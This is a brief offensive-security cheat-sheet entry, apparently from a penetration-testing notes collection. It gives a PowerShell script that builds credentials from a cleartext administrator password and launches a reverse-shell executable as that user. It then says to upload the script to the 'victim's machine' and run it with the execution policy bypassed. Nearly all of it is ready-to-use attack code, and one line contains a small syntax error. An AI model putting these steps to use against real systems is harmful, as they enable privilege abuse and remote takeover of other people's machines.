# Execute process as another user

&#x20;\+ **Execute process as another user (with credentials)**<br>

1. &#x20;Create a ps1 file e.g. run.ps1 with powershell commands as below:

   ```
   $secpasswd = ConvertTo-SecureString "<admin_pass_clear_text>" -AsPlainText -Force
   $mycreds = New-Object System.Management.Automation.PSCredential ("<Admin_username>", $secpasswd)
   $computer = "<COMPUTER_NAME>"
   [System.Diagnostics.Process]::Start("C:/users/public/<reverse_shell.exe>","", $mycreds.Username, mycreds.Password, $computer)
   ```
2. &#x20;Upload run.ps1 to victim's machine
3. &#x20;Execute powershell command:

   ```
   powershell -ExecutionPolicy Bypass -File c:\users\public\run.ps1
   ```
